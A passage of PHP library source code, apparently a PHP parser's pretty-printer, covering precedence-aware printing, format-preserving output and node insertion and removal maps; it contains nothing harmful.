$this->canUseSemicolonNamespaces = false; break; } } } /** * Handles (and removes) no-indent and doc-string-end tokens. * * @param string $str * @return string */ protected function handleMagicTokens(string $str) : string { // Replace doc-string-end tokens with nothing or a newline $str = str_replace($this->docStringEndToken . ";\n", ";\n", $str); $str = str_replace($this->docStringEndToken, "\n", $str); return $str; } /** * Pretty prints an array of nodes (statements) and indents them optionally. * * @param Node[] $nodes Array of nodes * @param bool $indent Whether to indent the printed nodes * * @return string Pretty printed statements */ protected function pStmts(array $nodes, bool $indent = true) : string { if ($indent) { $this->indent(); } $result = ''; foreach ($nodes as $node) { $comments = $node->getComments(); if ($comments) { $result .= $this->nl . $this->pComments($comments); if ($node instanceof Stmt\Nop) { continue; } } $result .= $this->nl . $this->p($node); } if ($indent) { $this->outdent(); } return $result; } /** * Pretty-print an infix operation while taking precedence into account. * * @param string $class Node class of operator * @param Node $leftNode Left-hand side node * @param string $operatorString String representation of the operator * @param Node $rightNode Right-hand side node * * @return string Pretty printed infix operation */ protected function pInfixOp(string $class, Node $leftNode, string $operatorString, Node $rightNode) : string { list($precedence, $associativity) = $this->precedenceMap[$class]; return $this->pPrec($leftNode, $precedence, $associativity, -1) . $operatorString . $this->pPrec($rightNode, $precedence, $associativity, 1); } /** * Pretty-print a prefix operation while taking precedence into account. * * @param string $class Node class of operator * @param string $operatorString String representation of the operator * @param Node $node Node * * @return string Pretty printed prefix operation */ protected function pPrefixOp(string $class, string $operatorString, Node $node) : string { list($precedence, $associativity) = $this->precedenceMap[$class]; return $operatorString . $this->pPrec($node, $precedence, $associativity, 1); } /** * Pretty-print a postfix operation while taking precedence into account. * * @param string $class Node class of operator * @param string $operatorString String representation of the operator * @param Node $node Node * * @return string Pretty printed postfix operation */ protected function pPostfixOp(string $class, Node $node, string $operatorString) : string { list($precedence, $associativity) = $this->precedenceMap[$class]; return $this->pPrec($node, $precedence, $associativity, -1) . $operatorString; } /** * Prints an expression node with the least amount of parentheses necessary to preserve the meaning. * * @param Node $node Node to pretty print * @param int $parentPrecedence Precedence of the parent operator * @param int $parentAssociativity Associativity of parent operator * (-1 is left, 0 is nonassoc, 1 is right) * @param int $childPosition Position of the node relative to the operator * (-1 is left, 1 is right) * * @return string The pretty printed node */ protected function pPrec(Node $node, int $parentPrecedence, int $parentAssociativity, int $childPosition) : string { $class = \get_class($node); if (isset($this->precedenceMap[$class])) { $childPrecedence = $this->precedenceMap[$class][0]; if ($childPrecedence > $parentPrecedence || ($parentPrecedence === $childPrecedence && $parentAssociativity !== $childPosition) ) { return '(' . $this->p($node) . ')'; } } return $this->p($node); } /** * Pretty prints an array of nodes and implodes the printed values. * * @param Node[] $nodes Array of Nodes to be printed * @param string $glue Character to implode with * * @return string Imploded pretty printed nodes */ protected function pImplode(array $nodes, string $glue = '') : string { $pNodes = []; foreach ($nodes as $node) { if (null === $node) { $pNodes[] = ''; } else { $pNodes[] = $this->p($node); } } return implode($glue, $pNodes); } /** * Pretty prints an array of nodes and implodes the printed values with commas. * * @param Node[] $nodes Array of Nodes to be printed * * @return string Comma separated pretty printed nodes */ protected function pCommaSeparated(array $nodes) : string { return $this->pImplode($nodes, ', '); } /** * Pretty prints a comma-separated list of nodes in multiline style, including comments. * * The result includes a leading newline and one level of indentation (same as pStmts). * * @param Node[] $nodes Array of Nodes to be printed * @param bool $trailingComma Whether to use a trailing comma * * @return string Comma separated pretty printed nodes in multiline style */ protected function pCommaSeparatedMultiline(array $nodes, bool $trailingComma) : string { $this->indent(); $result = ''; $lastIdx = count($nodes) - 1; foreach ($nodes as $idx => $node) { if ($node !== null) { $comments = $node->getComments(); if ($comments) { $result .= $this->nl . $this->pComments($comments); } $result .= $this->nl . $this->p($node); } else { $result .= $this->nl; } if ($trailingComma || $idx !== $lastIdx) { $result .= ','; } } $this->outdent(); return $result; } /** * Prints reformatted text of the passed comments. * * @param Comment[] $comments List of comments * * @return string Reformatted text of comments */ protected function pComments(array $comments) : string { $formattedComments = []; foreach ($comments as $comment) { $formattedComments[] = str_replace("\n", $this->nl, $comment->getReformattedText()); } return implode($this->nl, $formattedComments); } /** * Perform a format-preserving pretty print of an AST. * * The format preservation is best effort. For some changes to the AST the formatting will not * be preserved (at least not locally). * * In order to use this method a number of prerequisites must be satisfied: * * The startTokenPos and endTokenPos attributes in the lexer must be enabled. * * The CloningVisitor must be run on the AST prior to modification. * * The original tokens must be provided, using the getTokens() method on the lexer. * * @param Node[] $stmts Modified AST with links to original AST * @param Node[] $origStmts Original AST with token offset information * @param array $origTokens Tokens of the original code * * @return string */ public function printFormatPreserving(array $stmts, array $origStmts, array $origTokens) : string { $this->initializeNodeListDiffer(); $this->initializeLabelCharMap(); $this->initializeFixupMap(); $this->initializeRemovalMap(); $this->initializeInsertionMap(); $this->initializeListInsertionMap(); $this->initializeEmptyListInsertionMap(); $this->initializeModifierChangeMap(); $this->resetState(); $this->origTokens = new TokenStream($origTokens); $this->preprocessNodes($stmts); $pos = 0; $result = $this->pArray($stmts, $origStmts, $pos, 0, 'File', 'stmts', null); if (null !== $result) { $result .= $this->origTokens->getTokenCode($pos, count($origTokens), 0); } else { // Fallback // TODO Add pStmts($stmts, false); } return ltrim($this->handleMagicTokens($result)); } protected function pFallback(Node $node) { return $this->{'p' . $node->getType()}($node); } /** * Pretty prints a node. * * This method also handles formatting preservation for nodes. * * @param Node $node Node to be pretty printed * @param bool $parentFormatPreserved Whether parent node has preserved formatting * * @return string Pretty printed node */ protected function p(Node $node, $parentFormatPreserved = false) : string { // No orig tokens means this is a normal pretty print without preservation of formatting if (!$this->origTokens) { return $this->{'p' . $node->getType()}($node); } /** @var Node $origNode */ $origNode = $node->getAttribute('origNode'); if (null === $origNode) { return $this->pFallback($node); } $class = \get_class($node); \assert($class === \get_class($origNode)); $startPos = $origNode->getStartTokenPos(); $endPos = $origNode->getEndTokenPos(); \assert($startPos >= 0 && $endPos >= 0); $fallbackNode = $node; if ($node instanceof Expr\New_ && $node->class instanceof Stmt\Class_) { // Normalize node structure of anonymous classes $node = PrintableNewAnonClassNode::fromNewNode($node); $origNode = PrintableNewAnonClassNode::fromNewNode($origNode); } // InlineHTML node does not contain closing and opening PHP tags. If the parent formatting // is not preserved, then we need to use the fallback code to make sure the tags are // printed. if ($node instanceof Stmt\InlineHTML && !$parentFormatPreserved) { return $this->pFallback($fallbackNode); } $indentAdjustment = $this->indentLevel - $this->origTokens->getIndentationBefore($startPos); $type = $node->getType(); $fixupInfo = $this->fixupMap[$class] ?? null; $result = ''; $pos = $startPos; foreach ($node->getSubNodeNames() as $subNodeName) { $subNode = $node->$subNodeName; $origSubNode = $origNode->$subNodeName; if ((!$subNode instanceof Node && $subNode !== null) || (!$origSubNode instanceof Node && $origSubNode !== null) ) { if ($subNode === $origSubNode) { // Unchanged, can reuse old code continue; } if (is_array($subNode) && is_array($origSubNode)) { // Array subnode changed, we might be able to reconstruct it $listResult = $this->pArray( $subNode, $origSubNode, $pos, $indentAdjustment, $type, $subNodeName, $fixupInfo[$subNodeName] ?? null ); if (null === $listResult) { return $this->pFallback($fallbackNode); } $result .= $listResult; continue; } if (is_int($subNode) && is_int($origSubNode)) { // Check if this is a modifier change $key = $type . '->' . $subNodeName; if (!isset($this->modifierChangeMap[$key])) { return $this->pFallback($fallbackNode); } $findToken = $this->modifierChangeMap[$key]; $result .= $this->pModifiers($subNode); $pos = $this->origTokens->findRight($pos, $findToken); continue; } // If a non-node, non-array subnode changed, we don't be able to do a partial // reconstructions, as we don't have enough offset information. Pretty print the // whole node instead. return $this->pFallback($fallbackNode); } $extraLeft = ''; $extraRight = ''; if ($origSubNode !== null) { $subStartPos = $origSubNode->getStartTokenPos(); $subEndPos = $origSubNode->getEndTokenPos(); \assert($subStartPos >= 0 && $subEndPos >= 0); } else { if ($subNode === null) { // Both null, nothing to do continue; } // A node has been inserted, check if we have insertion information for it $key = $type . '->' . $subNodeName; if (!isset($this->insertionMap[$key])) { return $this->pFallback($fallbackNode); } list($findToken, $beforeToken, $extraLeft, $extraRight) = $this->insertionMap[$key]; if (null !== $findToken) { $subStartPos = $this->origTokens->findRight($pos, $findToken) + (int) !$beforeToken; } else { $subStartPos = $pos; } if (null === $extraLeft && null !== $extraRight) { // If inserting on the right only, skipping whitespace looks better $subStartPos = $this->origTokens->skipRightWhitespace($subStartPos); } $subEndPos = $subStartPos - 1; } if (null === $subNode) { // A node has been removed, check if we have removal information for it $key = $type . '->' . $subNodeName; if (!isset($this->removalMap[$key])) { return $this->pFallback($fallbackNode); } // Adjust positions to account for additional tokens that must be skipped $removalInfo = $this->removalMap[$key]; if (isset($removalInfo['left'])) { $subStartPos = $this->origTokens->skipLeft($subStartPos - 1, $removalInfo['left']) + 1; } if (isset($removalInfo['right'])) { $subEndPos = $this->origTokens->skipRight($subEndPos + 1, $removalInfo['right']) - 1; } } $result .= $this->origTokens->getTokenCode($pos, $subStartPos, $indentAdjustment); if (null !== $subNode) { $result .= $extraLeft; $origIndentLevel = $this->indentLevel; $this->setIndentLevel($this->origTokens->getIndentationBefore($subStartPos) + $indentAdjustment); // If it's the same node that was previously in this position, it certainly doesn't // need fixup. It's important to check this here, because our fixup checks are more // conservative than strictly necessary. if (isset($fixupInfo[$subNodeName]) && $subNode->getAttribute('origNode') !== $origSubNode ) { $fixup = $fixupInfo[$subNodeName]; $res = $this->pFixup($fixup, $subNode, $class, $subStartPos, $subEndPos); } else { $res = $this->p($subNode, true); } $this->safeAppend($result, $res); $this->setIndentLevel($origIndentLevel); $result .= $extraRight; } $pos = $subEndPos + 1; } $result .= $this->origTokens->getTokenCode($pos, $endPos + 1, $indentAdjustment); return $result; } /** * Perform a format-preserving pretty print of an array. * * @param array $nodes New nodes * @param array $origNodes Original nodes * @param int $pos Current token position (updated by reference) * @param int $indentAdjustment Adjustment for indentation * @param string $parentNodeType Type of the containing node. * @param string $subNodeName Name of array subnode. * @param null|int $fixup Fixup information for array item nodes * * @return null|string Result of pretty print or null if cannot preserve formatting */ protected function pArray( array $nodes, array $origNodes, int &$pos, int $indentAdjustment, string $parentNodeType, string $subNodeName, $fixup ) { $diff = $this->nodeListDiffer->diffWithReplacements($origNodes, $nodes); $mapKey = $parentNodeType . '->' . $subNodeName; $insertStr = $this->listInsertionMap[$mapKey] ?? null; $isStmtList = $subNodeName === 'stmts'; $beforeFirstKeepOrReplace = true; $skipRemovedNode = false; $delayedAdd = []; $lastElemIndentLevel = $this->indentLevel; $insertNewline = false; if ($insertStr === "\n") { $insertStr = ''; $insertNewline = true; } if ($isStmtList && \count($origNodes) === 1 && \count($nodes) !== 1) { $startPos = $origNodes[0]->getStartTokenPos(); $endPos = $origNodes[0]->getEndTokenPos(); \assert($startPos >= 0 && $endPos >= 0); if (!$this->origTokens->haveBraces($startPos, $endPos)) { // This was a single statement without braces, but either additional statements // have been added, or the single statement has been removed. This requires the // addition of braces. For now fall back. // TODO: Try to preserve formatting return null; } } $result = ''; foreach ($diff as $i => $diffElem) { $diffType = $diffElem->type; /** @var Node|null $arrItem */ $arrItem = $diffElem->new; /** @var Node|null $origArrItem */ $origArrItem = $diffElem->old; if ($diffType === DiffElem::TYPE_KEEP || $diffType === DiffElem::TYPE_REPLACE) { $beforeFirstKeepOrReplace = false; if ($origArrItem === null || $arrItem === null) { // We can only handle the case where both are null if ($origArrItem === $arrItem) { continue; } return null; } if (!$arrItem instanceof Node || !$origArrItem instanceof Node) { // We can only deal with nodes. This can occur for Names, which use string arrays. return null; } $itemStartPos = $origArrItem->getStartTokenPos(); $itemEndPos = $origArrItem->getEndTokenPos(); \assert($itemStartPos >= 0 && $itemEndPos >= 0 && $itemStartPos >= $pos); $origIndentLevel = $this->indentLevel; $lastElemIndentLevel = $this->origTokens->getIndentationBefore($itemStartPos) + $indentAdjustment; $this->setIndentLevel($lastElemIndentLevel); $comments = $arrItem->getComments(); $origComments = $origArrItem->getComments(); $commentStartPos = $origComments ? $origComments[0]->getStartTokenPos() : $itemStartPos; \assert($commentStartPos >= 0); if ($commentStartPos < $pos) { // Comments may be assigned to multiple nodes if they start at the same position. // Make sure we don't try to print them multiple times. $commentStartPos = $itemStartPos; } if ($skipRemovedNode) { if ($isStmtList && $this->origTokens->haveBracesInRange($pos, $itemStartPos)) { // We'd remove the brace of a code block. // TODO: Preserve formatting. $this->setIndentLevel($origIndentLevel); return null; } } else { $result .= $this->origTokens->getTokenCode( $pos, $commentStartPos, $indentAdjustment); } if (!empty($delayedAdd)) { /** @var Node $delayedAddNode */ foreach ($delayedAdd as $delayedAddNode) { if ($insertNewline) { $delayedAddComments = $delayedAddNode->getComments(); if ($delayedAddComments) { $result .= $this->pComments($delayedAddComments) . $this->nl; } } $this->safeAppend($result, $this->p($delayedAddNode, true)); if ($insertNewline) { $result .= $insertStr . $this->nl; } else { $result .= $insertStr; } } $delayedAdd = []; } if ($comments !== $origComments) { if ($comments) { $result .= $this->pComments($comments) . $this->nl; } } else { $result .= $this->origTokens->getTokenCode( $commentStartPos, $itemStartPos, $indentAdjustment); } // If we had to remove anything, we have done so now. $skipRemovedNode = false; } elseif ($diffType === DiffElem::TYPE_ADD) { if (null === $insertStr) { // We don't have insertion information for this list type return null; } // We go multiline if the original code was multiline, // or if it's an array item with a comment above it. if ($insertStr === ', ' && ($this->isMultiline($origNodes) || $arrItem->getComments()) ) { $insertStr = ','; $insertNewline = true; } if ($beforeFirstKeepOrReplace) { // Will be inserted at the next "replace" or "keep" element $delayedAdd[] = $arrItem; continue; } $itemStartPos = $pos; $itemEndPos = $pos - 1; $origIndentLevel = $this->indentLevel; $this->setIndentLevel($lastElemIndentLevel); if ($insertNewline) { $result .= $insertStr . $this->nl; $comments = $arrItem->getComments(); if ($comments) { $result .= $this->pComments($comments) . $this->nl; } } else { $result .= $insertStr; } } elseif ($diffType === DiffElem::TYPE_REMOVE) { if (!$origArrItem instanceof Node) { // We only support removal for nodes return null; } $itemStartPos = $origArrItem->getStartTokenPos(); $itemEndPos = $origArrItem->getEndTokenPos(); \assert($itemStartPos >= 0 && $itemEndPos >= 0); // Consider comments part of the node. $origComments = $origArrItem->getComments(); if ($origComments) { $itemStartPos = $origComments[0]->getStartTokenPos(); } if ($i === 0) { // If we're removing from the start, keep the tokens before the node and drop those after it, // instead of the other way around. $result .= $this->origTokens->getTokenCode( $pos, $itemStartPos, $indentAdjustment); $skipRemovedNode = true; } else { if ($isStmtList && $this->origTokens->haveBracesInRange($pos, $itemStartPos)) { // We'd remove the brace of a code block. // TODO: Preserve formatting. return null; } } $pos = $itemEndPos + 1; continue; } else { throw new \Exception("Shouldn't happen"); } if (null !== $fixup && $arrItem->getAttribute('origNode') !== $origArrItem) { $res = $this->pFixup($fixup, $arrItem, null, $itemStartPos, $itemEndPos); } else { $res = $this->p($arrItem, true); } $this->safeAppend($result, $res); $this->setIndentLevel($origIndentLevel); $pos = $itemEndPos + 1; } if ($skipRemovedNode) { // TODO: Support removing single node. return null; } if (!empty($delayedAdd)) { if (!isset($this->emptyListInsertionMap[$mapKey])) { return null; } list($findToken, $extraLeft, $extraRight) = $this->emptyListInsertionMap[$mapKey]; if (null !== $findToken) { $insertPos = $this->origTokens->findRight($pos, $findToken) + 1; $result .= $this->origTokens->getTokenCode($pos, $insertPos, $indentAdjustment); $pos = $insertPos; } $first = true; $result .= $extraLeft; foreach ($delayedAdd as $delayedAddNode) { if (!$first) { $result .= $insertStr; } $result .= $this->p($delayedAddNode, true); $first = false; } $result .= $extraRight; } return $result; } /** * Print node with fixups. * * Fixups here refer to the addition of extra parentheses, braces or other characters, that * are required to preserve program semantics in a certain context (e.g. to maintain precedence * or because only certain expressions are allowed in certain places). * * @param int $fixup Fixup type * @param Node $subNode Subnode to print * @param string|null $parentClass Class of parent node * @param int $subStartPos Original start pos of subnode * @param int $subEndPos Original end pos of subnode * * @return string Result of fixed-up print of subnode */ protected function pFixup(int $fixup, Node $subNode, $parentClass, int $subStartPos, int $subEndPos) : string { switch ($fixup) { case self::FIXUP_PREC_LEFT: case self::FIXUP_PREC_RIGHT: if (!$this->origTokens->haveParens($subStartPos, $subEndPos)) { list($precedence, $associativity) = $this->precedenceMap[$parentClass]; return $this->pPrec($subNode, $precedence, $associativity, $fixup === self::FIXUP_PREC_LEFT ? -1 : 1); } break; case self::FIXUP_CALL_LHS: if ($this->callLhsRequiresParens($subNode) && !$this->origTokens->haveParens($subStartPos, $subEndPos) ) { return '(' . $this->p($subNode) . ')'; } break; case self::FIXUP_DEREF_LHS: if ($this->dereferenceLhsRequiresParens($subNode) && !$this->origTokens->haveParens($subStartPos, $subEndPos) ) { return '(' . $this->p($subNode) . ')'; } break; case self::FIXUP_BRACED_NAME: case self::FIXUP_VAR_BRACED_NAME: if ($subNode instanceof Expr && !$this->origTokens->haveBraces($subStartPos, $subEndPos) ) { return ($fixup === self::FIXUP_VAR_BRACED_NAME ? '$' : '') . '{' . $this->p($subNode) . '}'; } break; case self::FIXUP_ENCAPSED: if (!$subNode instanceof Scalar\EncapsedStringPart && !$this->origTokens->haveBraces($subStartPos, $subEndPos) ) { return '{' . $this->p($subNode) . '}'; } break; default: throw new \Exception('Cannot happen'); } // Nothing special to do return $this->p($subNode); } /** * Appends to a string, ensuring whitespace between label characters. * * Example: "echo" and "$x" result in "echo$x", but "echo" and "x" result in "echo x". * Without safeAppend the result would be "echox", which does not preserve semantics. * * @param string $str * @param string $append */ protected function safeAppend(string &$str, string $append) { if ($str === "") { $str = $append; return; } if ($append === "") { return; } if (!$this->labelCharMap[$append[0]] || !$this->labelCharMap[$str[\strlen($str) - 1]]) { $str .= $append; } else { $str .= " " . $append; } } /** * Determines whether the LHS of a call must be wrapped in parenthesis. * * @param Node $node LHS of a call * * @return bool Whether parentheses are required */ protected function callLhsRequiresParens(Node $node) : bool { return !($node instanceof Node\Name || $node instanceof Expr\Variable || $node instanceof Expr\ArrayDimFetch || $node instanceof Expr\FuncCall || $node instanceof Expr\MethodCall || $node instanceof Expr\NullsafeMethodCall || $node instanceof Expr\StaticCall || $node instanceof Expr\Array_); } /** * Determines whether the LHS of a dereferencing operation must be wrapped in parenthesis. * * @param Node $node LHS of dereferencing operation * * @return bool Whether parentheses are required */ protected function dereferenceLhsRequiresParens(Node $node) : bool { return !($node instanceof Expr\Variable || $node instanceof Node\Name || $node instanceof Expr\ArrayDimFetch || $node instanceof Expr\PropertyFetch || $node instanceof Expr\NullsafePropertyFetch || $node instanceof Expr\StaticPropertyFetch || $node instanceof Expr\FuncCall || $node instanceof Expr\MethodCall || $node instanceof Expr\NullsafeMethodCall || $node instanceof Expr\StaticCall || $node instanceof Expr\Array_ || $node instanceof Scalar\String_ || $node instanceof Expr\ConstFetch || $node instanceof Expr\ClassConstFetch); } /** * Print modifiers, including trailing whitespace. * * @param int $modifiers Modifier mask to print * * @return string Printed modifiers */ protected function pModifiers(int $modifiers) { return ($modifiers & Stmt\Class_::MODIFIER_PUBLIC ? 'public ' : '') . ($modifiers & Stmt\Class_::MODIFIER_PROTECTED ? 'protected ' : '') . ($modifiers & Stmt\Class_::MODIFIER_PRIVATE ? 'private ' : '') . ($modifiers & Stmt\Class_::MODIFIER_STATIC ? 'static ' : '') . ($modifiers & Stmt\Class_::MODIFIER_ABSTRACT ? 'abstract ' : '') . ($modifiers & Stmt\Class_::MODIFIER_FINAL ? 'final ' : '') . ($modifiers & Stmt\Class_::MODIFIER_READONLY ? 'readonly ' : ''); } /** * Determine whether a list of nodes uses multiline formatting. * * @param (Node|null)[] $nodes Node list * * @return bool Whether multiline formatting is used */ protected function isMultiline(array $nodes) : bool { if (\count($nodes) < 2) { return false; } $pos = -1; foreach ($nodes as $node) { if (null === $node) { continue; } $endPos = $node->getEndTokenPos() + 1; if ($pos >= 0) { $text = $this->origTokens->getTokenCode($pos, $endPos, 0); if (false === strpos($text, "\n")) { // We require that a newline is present between *every* item. If the formatting // is inconsistent, with only some items having newlines, we don't consider it // as multiline return false; } } $pos = $endPos; } return true; } /** * Lazily initializes label char map. * * The label char map determines whether a certain character may occur in a label. */ protected function initializeLabelCharMap() { if ($this->labelCharMap) return; $this->labelCharMap = []; for ($i = 0; $i < 256; $i++) { // Since PHP 7.1 The lower range is 0x80. However, we also want to support code for // older versions. $chr = chr($i); $this->labelCharMap[$chr] = $i >= 0x7f || ctype_alnum($chr); } } /** * Lazily initializes node list differ. * * The node list differ is used to determine differences between two array subnodes. */ protected function initializeNodeListDiffer() { if ($this->nodeListDiffer) return; $this->nodeListDiffer = new Internal\Differ(function ($a, $b) { if ($a instanceof Node && $b instanceof Node) { return $a === $b->getAttribute('origNode'); } // Can happen for array destructuring return $a === null && $b === null; }); } /** * Lazily initializes fixup map. * * The fixup map is used to determine whether a certain subnode of a certain node may require * some kind of "fixup" operation, e.g. the addition of parenthesis or braces. */ protected function initializeFixupMap() { if ($this->fixupMap) return; $this->fixupMap = [ Expr\PreInc::class => ['var' => self::FIXUP_PREC_RIGHT], Expr\PreDec::class => ['var' => self::FIXUP_PREC_RIGHT], Expr\PostInc::class => ['var' => self::FIXUP_PREC_LEFT], Expr\PostDec::class => ['var' => self::FIXUP_PREC_LEFT], Expr\Instanceof_::class => [ 'expr' => self::FIXUP_PREC_LEFT, 'class' => self::FIXUP_PREC_RIGHT, // TODO: FIXUP_NEW_VARIABLE ], Expr\Ternary::class => [ 'cond' => self::FIXUP_PREC_LEFT, 'else' => self::FIXUP_PREC_RIGHT, ], Expr\FuncCall::class => ['name' => self::FIXUP_CALL_LHS], Expr\StaticCall::class => ['class' => self::FIXUP_DEREF_LHS], Expr\ArrayDimFetch::class => ['var' => self::FIXUP_DEREF_LHS], Expr\ClassConstFetch::class => ['var' => self::FIXUP_DEREF_LHS], Expr\New_::class => ['class' => self::FIXUP_DEREF_LHS], // TODO: FIXUP_NEW_VARIABLE Expr\MethodCall::class => [ 'var' => self::FIXUP_DEREF_LHS, 'name' => self::FIXUP_BRACED_NAME, ], Expr\NullsafeMethodCall::class => [ 'var' => self::FIXUP_DEREF_LHS, 'name' => self::FIXUP_BRACED_NAME, ], Expr\StaticPropertyFetch::class => [ 'class' => self::FIXUP_DEREF_LHS, 'name' => self::FIXUP_VAR_BRACED_NAME, ], Expr\PropertyFetch::class => [ 'var' => self::FIXUP_DEREF_LHS, 'name' => self::FIXUP_BRACED_NAME, ], Expr\NullsafePropertyFetch::class => [ 'var' => self::FIXUP_DEREF_LHS, 'name' => self::FIXUP_BRACED_NAME, ], Scalar\Encapsed::class => [ 'parts' => self::FIXUP_ENCAPSED, ], ]; $binaryOps = [ BinaryOp\Pow::class, BinaryOp\Mul::class, BinaryOp\Div::class, BinaryOp\Mod::class, BinaryOp\Plus::class, BinaryOp\Minus::class, BinaryOp\Concat::class, BinaryOp\ShiftLeft::class, BinaryOp\ShiftRight::class, BinaryOp\Smaller::class, BinaryOp\SmallerOrEqual::class, BinaryOp\Greater::class, BinaryOp\GreaterOrEqual::class, BinaryOp\Equal::class, BinaryOp\NotEqual::class, BinaryOp\Identical::class, BinaryOp\NotIdentical::class, BinaryOp\Spaceship::class, BinaryOp\BitwiseAnd::class, BinaryOp\BitwiseXor::class, BinaryOp\BitwiseOr::class, BinaryOp\BooleanAnd::class, BinaryOp\BooleanOr::class, BinaryOp\Coalesce::class, BinaryOp\LogicalAnd::class, BinaryOp\LogicalXor::class, BinaryOp\LogicalOr::class, ]; foreach ($binaryOps as $binaryOp) { $this->fixupMap[$binaryOp] = [ 'left' => self::FIXUP_PREC_LEFT, 'right' => self::FIXUP_PREC_RIGHT ]; } $assignOps = [ Expr\Assign::class, Expr\AssignRef::class, AssignOp\Plus::class, AssignOp\Minus::class, AssignOp\Mul::class, AssignOp\Div::class, AssignOp\Concat::class, AssignOp\Mod::class, AssignOp\BitwiseAnd::class, AssignOp\BitwiseOr::class, AssignOp\BitwiseXor::class, AssignOp\ShiftLeft::class, AssignOp\ShiftRight::class, AssignOp\Pow::class, AssignOp\Coalesce::class ]; foreach ($assignOps as $assignOp) { $this->fixupMap[$assignOp] = [ 'var' => self::FIXUP_PREC_LEFT, 'expr' => self::FIXUP_PREC_RIGHT, ]; } $prefixOps = [ Expr\BitwiseNot::class, Expr\BooleanNot::class, Expr\UnaryPlus::class, Expr\UnaryMinus::class, Cast\Int_::class, Cast\Double::class, Cast\String_::class, Cast\Array_::class, Cast\Object_::class, Cast\Bool_::class, Cast\Unset_::class, Expr\ErrorSuppress::class, Expr\YieldFrom::class, Expr\Print_::class, Expr\Include_::class, ]; foreach ($prefixOps as $prefixOp) { $this->fixupMap[$prefixOp] = ['expr' => self::FIXUP_PREC_RIGHT]; } } /** * Lazily initializes the removal map. * * The removal map is used to determine which additional tokens should be removed when a * certain node is replaced by null. */ protected function initializeRemovalMap() { if ($this->removalMap) return; $stripBoth = ['left' => \T_WHITESPACE, 'right' => \T_WHITESPACE]; $stripLeft = ['left' => \T_WHITESPACE]; $stripRight = ['right' => \T_WHITESPACE]; $stripDoubleArrow = ['right' => \T_DOUBLE_ARROW]; $stripColon = ['left' => ':']; $stripEquals = ['left' => '=']; $this->removalMap = [ 'Expr_ArrayDimFetch->dim' => $stripBoth, 'Expr_ArrayItem->key' => $stripDoubleArrow, 'Expr_ArrowFunction->returnType' => $stripColon, 'Expr_Closure->returnType' => $stripColon, 'Expr_Exit->expr' => $stripBoth, 'Expr_Ternary->if' => $stripBoth, 'Expr_Yield->key' => $stripDoubleArrow, 'Expr_Yield->value' => $stripBoth, 'Param->type' => $stripRight, 'Param->default' => $stripEquals, 'Stmt_Break->num' => $stripBoth, 'Stmt_Catch->var' => $stripLeft, 'Stmt_ClassMethod->returnType' => $stripColon, 'Stmt_Class->extends' => ['left' => \T_EXTENDS], 'Stmt_Enum->scalarType' => $stripColon, 'Stmt_EnumCase->expr' => $stripEquals, 'Expr_PrintableNewAnonClass->extends' => ['left' => \T_EXTENDS], 'Stmt_Continue->num' => $stripBoth, 'Stmt_Foreach->keyVar' => $stripDoubleArrow, 'Stmt_Function->returnType' => $stripColon, 'Stmt_If->else' => $stripLeft, 'Stmt_Namespace->name' => $stripLeft, 'Stmt_Property->type' => $stripRight, 'Stmt_PropertyProperty->default' => $stripEquals, 'Stmt_Return->expr' => $stripBoth, 'Stmt_StaticVar->default' => $stripEquals, 'Stmt_TraitUseAdaptation_Alias->newName' => $stripLeft, 'Stmt_TryCatch->finally' => $stripLeft, // 'Stmt_Case->cond': Replace with "default" // 'Stmt_Class->name': Unclear what to do // 'Stmt_Declare->stmts': Not a plain node // 'Stmt_TraitUseAdaptation_Alias->newModifier': Not a plain node ]; } protected function initializeInsertionMap() { if ($this->insertionMap) return; // TODO: "yield" where both key and value are inserted doesn't work // [$find, $beforeToken, $extraLeft, $extraRight] $this->insertionMap = [ 'Expr_ArrayDimFetch->dim' => ['[', false, null, null], 'Expr_ArrayItem->key' => [null, false, null, ' => '], 'Expr_ArrowFunction->returnType' => [')', false, ' : ', null], 'Expr_Closure->returnType' => [')', false, ' : ', null], 'Expr_Ternary->if' => ['?', false, ' ', ' '], 'Expr_Yield->key' => [\T_YIELD, false, null, ' => '], 'Expr_Yield->value' => [\T_YIELD, false, ' ', null], 'Param->type' => [null, false, null, ' '], 'Param->default' => [null, false, ' = ', null], 'Stmt_Break->num' => [\T_BREAK, false, ' ', null], 'Stmt_Catch->var' => [null, false, ' ', null], 'Stmt_ClassMethod->returnType' => [')', false, ' : ', null], 'Stmt_Class->extends' => [null, false, ' extends ', null], 'Stmt_Enum->scalarType' => [null, false, ' : ', null], 'Stmt_EnumCase->expr' => [null, false, ' = ', null], 'Expr_PrintableNewAnonClass->extends' => [null, ' extends ', null], 'Stmt_Continue->num' => [\T_CONTINUE, false, ' ', null], 'Stmt_Foreach->keyVar' => [\T_AS, false, null, ' => '], 'Stmt_Function->returnType' => [')', false, ' : ', null], 'Stmt_If->else' => [null, false, ' ', null], 'Stmt_Namespace->name' => [\T_NAMESPACE, false, ' ', null], 'Stmt_Property->type' => [\T_VARIABLE, true, null, ' '], 'Stmt_PropertyProperty->default' => [null, false, ' = ', null], 'Stmt_Return->expr' => [\T_RETURN, false, ' ', null], 'Stmt_StaticVar->default' => [null, false, ' = ', null], //'Stmt_TraitUseAdaptation_Alias->newName' => [T_AS, false, ' ', null], // TODO 'Stmt_TryCatch->finally' => [null, false, ' ', null], // 'Expr_Exit->expr': Complicated due to optional () // 'Stmt_Case->cond': Conversion from default to case // 'Stmt_Class->name': Unclear // 'Stmt_Declare->stmts': Not a proper node // 'Stmt_TraitUseAdaptation_Alias->newModifier': Not a proper node ]; } protected function initializeListInsertionMap() { if ($this->listInsertionMap) return; $this->listInsertionMap = [ // special //'Expr_ShellExec->parts' => '', // TODO These need to be treated more carefully //'Scalar_Encapsed->parts' => '', 'Stmt_Catch->types' => '|', 'UnionType->types' => '|', 'IntersectionType->types' => '&', 'Stmt_If->elseifs' => ' ', 'Stmt_TryCatch->catches' => ' ', // comma-separated lists 'Expr_Array->items' => ', ', 'Expr_ArrowFunction->params' => ', ', 'Expr_Closure->params' => ', ', 'Expr_Closure->uses' => ', ', 'Expr_FuncCall->args' => ', ', 'Expr_Isset->vars' => ', ', 'Expr_List->items' => ', ', 'Expr_MethodCall->args' => ', ', 'Expr_NullsafeMethodCall->args' => ', ', 'Expr_New->args' => ', ', 'Expr_PrintableNewAnonClass->args' => ', ', 'Expr_StaticCall->args' => ', ', 'Stmt_ClassConst->consts' => ', ', 'Stmt_ClassMethod->params' => ', ', 'Stmt_Class->implements' => ', ', 'Stmt_Enum->implements' => ', ', 'Expr_PrintableNewAnonClass->implements' => ', ', 'Stmt_Const->consts' => ', ', 'Stmt_Declare->declares' => ', ', 'Stmt_Echo->exprs' => ', ', 'Stmt_For->init' => ', ', 'Stmt_For->cond' => 